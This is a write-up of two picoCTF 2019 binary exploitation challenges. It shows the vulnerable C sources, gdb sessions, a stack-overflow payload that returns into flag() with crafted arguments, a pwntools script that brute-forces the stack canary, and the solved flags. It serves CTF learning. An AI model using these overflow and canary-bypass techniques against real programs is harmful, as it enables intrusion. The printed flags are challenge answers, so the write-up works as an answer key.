picoCTF 2019

picoCTF 2019

Taking on the remaining Binary Exploitation challenges -

OverFlow 2 - Points: 250

Code :

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 176
#define FLAGSIZE 64

void flag(unsigned int arg1, unsigned int arg2) {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  if (arg1 != 0xDEADBEEF)
    return;
  if (arg2 != 0xC0DED00D)
    return;
  printf(buf);
}

void vuln(){
  char buf[BUFSIZE];
  gets(buf);
  puts(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  puts("Please enter your string: ");
  vuln();
  return 0;
}
vuln.c

Thought process :

Need to jump to function flag which starts at 080485e6 and also pass arg1 as 0xdeadbeef and arg2 as 0xc0ded00d from the gets(buf) call.

With some initial trial and error, we are able to jump to find the offset :

(gdb) r <<< $(python -c 'print "A" * 192')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /problems/overflow-2_2_47d6bbdfb1ccd0d65a76e6cbe0935b0f/vuln <<< $(python -c 'print "A" * 192')
Please enter your string: 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

And now we can jump to vuln()

(gdb) r <<< $(python -c 'print "A" * 188 + "\xe6\x85\x04\x08"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /problems/overflow-2_2_47d6bbdfb1ccd0d65a76e6cbe0935b0f/vuln <<< $(python -c 'print "A" * 188 + "\xe6\x85\x04\x08"')
Please enter your string: 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�
Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.
[Inferior 1 (process 3316408) exited normally]

Now we create break points at  the flag() function and check for arg1 and arg2. Instead of creating a breakpoint at 0x080485e(beginning of flag), I decided to jump to 0x08048647 instead as gdb does not have access to flag.txt during debugging.

The end payload would have the following structure :

188 bytes of non null characters + address of flag() + 4 bytes of non null characters + little endian encoded 0xdeadbeef + little endian encoded 0xc0ded00d

0xf00df00d@pico-2019-shell1:/problems/overflow-2_2_47d6bbdfb1ccd0d65a76e6cbe0935b0f$ python -c 'print "A" * 188 + "\xe6\x85\x04\x08" + "\xff\xff\xff\xff" + "\xef\xbe\xad\xde" + "\x0d\xd0\xde\xc0"' | ./vuln
Please enter your string: 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA���AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����ᆳ�
picoCTF{arg5_and_r3turn5ce5cf61a}Segmentation fault (core dumped)

CanaRy - Points: 300

Code :

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>

#define BUF_SIZE 32
#define FLAG_LEN 64
#define KEY_LEN 4

void display_flag() {
  char buf[FLAG_LEN];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("'flag.txt' missing in the current directory!\n");
    exit(0);
  }
  fgets(buf,FLAG_LEN,f);
  puts(buf);
  fflush(stdout);
}

char key[KEY_LEN];
void read_canary() {
  FILE *f = fopen("/problems/canary_1_a5eaebeeb66458dec31e09fa8fc517fd/canary.txt","r");
  if (f == NULL) {
    printf("[ERROR]: Trying to Read Canary\n");
    exit(0);
  }
  fread(key,sizeof(char),KEY_LEN,f);
  fclose(f);
}

void vuln(){
   char canary[KEY_LEN];
   char buf[BUF_SIZE];
   char user_len[BUF_SIZE];

   int count;
   int x = 0;
   memcpy(canary,key,KEY_LEN);
   printf("Please enter the length of the entry:\n> ");

   while (x<BUF_SIZE) {
      read(0,user_len+x,1);
      if (user_len[x]=='\n') break;
      x++;
   }
   sscanf(user_len,"%d",&count);

   printf("Input> ");
   read(0,buf,count);

   if (memcmp(canary,key,KEY_LEN)) {
      printf("*** Stack Smashing Detected *** : Canary Value Corrupt!\n");
      exit(-1);
   }
   printf("Ok... Now Where's the Flag?\n");
   fflush(stdout);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  int i;
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  read_canary();
  vuln();

  return 0;
}
vuln.c

Thought process :

The canary can be brute-forced string by string.

0xf00df00d@pico-2019-shell1:~$ cat canary.py
from pwn import *
import os
import string

BUF_SIZE    = 32
FLAG_LEN    = 64
KEY_LEN     = 4

FILLER_LEN = BUF_SIZE + KEY_LEN
path = '/problems/canary_1_a5eaebeeb66458dec31e09fa8fc517fd/vuln'
exe = '/problems/canary_1_a5eaebeeb66458dec31e09fa8fc517fd/vuln'

def brute_force_canary():
    params = {"argv": path, "cwd": os.path.dirname(path)}
    canary = ""
    for i in range(KEY_LEN):
        for c in string.ascii_letters + string.digits:
            with context.local(log_level='ERROR'):
                try:
                    proc = process(**params)
                    print "SIZE: " + str(BUF_SIZE + len(canary) + 1) +" Canary so far " + canary + " now trying " + c + " payload- " + fit({BUF_SIZE: canary + c})
                    proc.sendlineafter("Please enter the length of the entry:\n> ", str(BUF_SIZE + len(canary) + 1))
                    proc.sendlineafter("Input> ", fit({BUF_SIZE: canary + c}))
                    response = proc.recvline()
                    if "Stack Smashing Detected" in response:
                        continue
                    canary += c
                    break
                finally:
                    proc.shutdown('send')
        else:
            raise Exception("Can't find canary")
    return canary

canary_string = brute_force_canary()
print canary_string

Once we obtain the canary, which in my case was 7a6H, we can build the payload. The payload should look something as follows:

Random String (32 bytes) + Canary (4 bytes) + Garbage String (16 bytes) + Address to display_flag (4 bytes)

To get the address for display_flag, we can see the binary disassembly to get the last two octets. With good luck, we might be able to leverage the last two bytes 07ed

0xf00df00d@pico-2019-shell1:~$ objdump -d vuln  | grep display                                                                                                                                                                               000007ed <display_flag>:                                                                                                                                                                                                                      81f:   75 1c                   jne    83d <display_flag+0x50> 

Let's try to form the payload:

0xf00df00d@pico-2019-shell1:/problems/canary_1_a5eaebeeb66458dec31e09fa8fc517fd$ (python -c 'print("54\n"+"A"*32+"7a6H"+"abcdefghijklmnop" + "\xed\x07")'; cat -) | ./vuln                                                                   Please enter the length of the entry:                                                                                                                                                                                                        > Input> Ok... Now Where's the Flag?                                                                                                                                                                                                         picoCTF{cAnAr135_mU5t_b3_r4nd0m!_0e5152a1}   
Show Comments